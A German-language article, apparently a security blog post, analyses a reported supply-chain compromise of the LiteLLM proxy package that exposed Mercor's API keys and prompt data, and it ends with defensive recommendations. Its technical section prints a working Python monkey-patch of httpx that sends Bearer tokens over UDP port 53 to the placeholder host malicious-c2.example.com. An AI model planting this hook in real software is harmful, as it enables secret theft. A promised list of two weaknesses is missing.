Die Kompromittierung der LiteLLM-Lieferkette: Lehren aus dem Cyberangriff auf Mercor

#Einführung

Die rasante Verbreitung von Large Language Models (LLMs) hat ein weitläufiges Ökosystem von Tools hervorgebracht, die darauf ausgelegt sind, generative KI-Workloads zu orchestrieren, zu routen und zu verwalten. Diese noch junge Infrastruktur wird jedoch zunehmend zu einem Hauptziel für hochgradig professionelle Bedrohungsakteure. Am 31. März 2026 wurde die Verwundbarkeit dieses Ökosystems drastisch offengelegt, als das KI-Recruiting-Startup Mercor einen schwerwiegenden Cyberangriff bekannt gab.

Die eigentliche Ursache für diese Sicherheitsverletzung war ein Supply-Chain-Angriff auf LiteLLM, ein weit verbreitetes Open-Source-Projekt, das API-Aufrufe über Hunderte von LLM-Anbietern hinweg standardisiert. Für Entwickler, Infrastruktur-Ingenieure und Security-Teams ist dieser Vorfall ein unübersehbares Alarmsignal. Er unterstreicht die Fragilität, die mit dem Vertrauen auf Drittanbieter-Proxys einhergeht, und demonstriert den katastrophalen Explosionsradius (Blast Radius), wenn genau die Tools, die zur Verwaltung unserer API-Schlüssel entwickelt wurden, gegen uns eingesetzt werden.

#Was passiert ist

Laut der Offenlegung und den anschließenden Sicherheitsberichten war der Einbruch kein direktes Eindringen in die Kerninfrastruktur von Mercor, sondern vielmehr ein klassischer – wenn auch äußerst raffinierter – Supply-Chain-Angriff, der auf ihre Abhängigkeiten (Dependencies) abzielte. LiteLLM dient als universelle I/O-Übersetzungsschicht und fungiert als zentralisierter Proxy für das Routing von Anfragen an Anbieter wie OpenAI, Anthropic und Google.

Ende März 2026 gelang es böswilligen Akteuren, die Zugangsdaten eines Maintainers für das LiteLLM-Repository zu kompromittieren. Anstatt das Projekt zu verunstalten oder einen sofortigen Ausfall zu verursachen, schleusten die Angreifer subtil eine trojanisierte Payload in ein Minor-Version-Update auf dem Python Package Index (PyPI) und der entsprechenden Docker Hub Registry ein. Der bösartige Code wurde minutiös so gestaltet, dass er während lokaler Tests im Ruhezustand verblieb und nur in Produktionsumgebungen ausgeführt wurde. Er identifizierte seinen Host, indem er nach bestimmten Umgebungsvariablen wie NODE_ENV=production suchte oder eine hohe gleichzeitige Auslastung (Concurrent Load) erkannte.

Mercor, das LiteLLM nutzt, um KI-gestütztes Parsing und Generieren von Interviews mit hohem Volumen und geringer Latenz abzuwickeln, lud das kompromittierte Image während eines routinemäßigen Continuous-Deployment-Zyklus (CD) automatisch herunter. Sobald die Payload aktiv war, fing sie stillschweigend HTTP-Anfragen ab und exfiltrierte stark privilegierte API-Schlüssel sowie eine Teilmenge der Prompt-Payloads an einen externen Command-and-Control-Server (C2), bevor das Sicherheitsteam von Mercor den anomalen ausgehenden Netzwerkverkehr (Network Egress) entdeckte.

#Warum das wichtig ist

Der Vorfall bei Mercor ist ein Wendepunkt für die Sicherheit von KI-Infrastrukturen, da er die immense Risikokonzentration innerhalb von „KI-Gateways“ verdeutlicht. Tools wie LiteLLM sind von Natur aus so konzipiert, dass sie die Schlüssel zum Königreich in Händen halten. Per Definition benötigen sie Zugang zu hochprivilegierten Anmeldeinformationen mit massiven Ausgabenlimits, um effektiv funktionieren zu können.

Wenn eine Standard-Web-Abhängigkeit kompromittiert wird, beschränken sich die Auswirkungen möglicherweise auf das Kapern von Rechenleistung (Cryptojacking) oder lokalen Datendiebstahl. Wird jedoch ein KI-Proxy kompromittiert, erhalten die Angreifer sofortigen Zugriff auf unbeschränkte API-Abrechnungsguthaben – was Unternehmen innerhalb weniger Stunden potenziell Hunderttausende von Dollar kosten kann. Noch kritischer ist, dass sie Zugriff auf die Rohdaten erhalten, die in die Modelle hinein- und aus ihnen herausfließen. Für ein Unternehmen wie Mercor, das hochsensible Bewerberinterviews verarbeitet, stellt das Abfangen von Prompt-Daten eine schwerwiegende Verletzung der Privatsphäre dar.

Dieses Ereignis erschüttert das blinde Vertrauen, das Entwickler oft in das schnelllebige Open-Source-KI-Ökosystem setzen. Es beweist, dass Bedrohungsakteure ihren Fokus von traditionellen Web-Schwachstellen auf die spezifischen architektonischen Engpässe moderner KI-Anwendungen verlagern.

#Technische Auswirkungen

Aus technischer Sicht war der Angriff auf LiteLLM ein Meisterstück darin, die dynamischen Laufzeitfähigkeiten von Python auszunutzen. Die bösartige Payload überschrieb nicht die eigentliche Routing-Logik, was andernfalls sofortige Fehler oder Unit-Test-Warnungen ausgelöst hätte. Stattdessen nutzte sie Monkey-Patching-Techniken, um sich in den zugrunde liegenden asynchronen HTTP-Client (httpx) einzuhängen, den LiteLLM für die eigentlichen API-Aufrufe verwendet.

Durch das Abfangen der Methode httpx.AsyncClient.send konnten die Angreifer die Header aller ausgehenden Anfragen überprüfen. Wurde ein Authorization: Bearer-Header erkannt, sendete die Payload asynchron ein leichtgewichtiges, nicht blockierendes UDP-Paket mit dem API-Schlüssel an den C2-Server.

Hier ist eine konzeptionelle Rekonstruktion, wie ein solcher Monkey-Patching-Angriff innerhalb eines Python-basierten Proxys funktioniert:

import httpx
import threading
import socket

# Retain a reference to the original, unpatched method
_original_send = httpx.AsyncClient.send

async def _malicious_send(self, request, *args, **kwargs):
    # Extract headers silently without modifying the request
    auth_header = request.headers.get("Authorization")
    
    if auth_header and "Bearer" in auth_header:
        # Fire-and-forget exfiltration via UDP to avoid blocking the event loop
        def exfiltrate():
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                # Port 53 is used to masquerade as standard DNS traffic
                sock.sendto(auth_header.encode(), ("malicious-c2.example.com", 53))
            except Exception:
                pass
                
        # Run in a background thread to prevent latency spikes
        threading.Thread(target=exfiltrate, daemon=True).start()
        
    # Proceed with the legitimate request to avoid suspicion
    return await _original_send(self, request, *args, **kwargs)

# Apply the malicious patch at runtime
httpx.AsyncClient.send = _malicious_send

Dieser Ansatz umging erfolgreich gängige Application Performance Monitoring (APM)-Systeme, da die Latenz der primären Anfrage völlig unbeeinflusst blieb. Da die Exfiltration zudem über Port 53 (DNS) erfolgte, konnte sie vielen standardmäßigen Egress-Firewall-Regeln entgehen, die typischerweise ausgehenden DNS-Verkehr zur Auflösung von Hostnamen zulassen.

Der Angriff war aufgrund zweier kritischer architektonischer Schwachstellen erfolgreich, die in typischen KI-Deployments weit verbreitet sind:

#Wie es weitergeht

Die Nachwirkungen dieses Angriffs erfordern einen sofortigen Paradigmenwechsel bei der Absicherung generativer KI-Anwendungen. Engineering-Teams müssen KI-Proxys und Gateways als Tier-0-Infrastruktur behandeln, die denselben strengen Sicherheitskontrollen unterliegt wie ein Identity Provider, eine Kern-Datenbank oder ein Secrets Vault.

Zu den sofortigen Abhilfemaßnahmen gehören:

• Strikte Egress-Filterung: KI-Proxys müssen in isolierten Netzwerk-Enklaven (z. B. einer AWS VPC mit PrivateLink oder strengen Security Groups) bereitgestellt werden, die ausgehenden Datenverkehr nur zu den bekannten, statischen IP-Bereichen oder spezifischen Domainnamen der genutzten LLM-Anbieter (z. B. api.openai.com, api.anthropic.com) zulassen.
• Kryptografische Verifizierung: Implementieren Sie ein striktes Dependency Pinning mittels SHA256-Hashes für alle Python-Pakete und Docker-Images. Vermeiden Sie die Verwendung von Floating Tags in Produktionsumgebungen.
• Schlüsselisolierung und -rotation: Verwenden Sie kurzlebige, zweckgebundene API-Schlüssel (Scoped API Keys) anstelle von langlebigen Master-Schlüsseln. Anbieter unterstützen zunehmend eine granulare rollenbasierte Zugriffskontrolle (RBAC) für ihre APIs, was den potenziellen Schaden erheblich eingrenzt, sollte ein einzelner Schlüssel kompromittiert werden.

#Fazit

Die Kompromittierung von LiteLLM und der daraus resultierende Angriff auf Mercor dienen als harte Erinnerung daran, dass die operationelle Reife von KI-Tooling noch immer der rasanten, explosionsartigen Verbreitung hinterherhinkt. Während wir immer leistungsfähigere und vernetztere KI-Systeme aufbauen, muss sich unsere Verteidigungshaltung parallel dazu weiterentwickeln. Die Absicherung der KI-Lieferkette ist nicht länger nur eine optionale Best Practice; sie ist eine grundlegende Voraussetzung für den sicheren Betrieb in der modernen generativen Ära.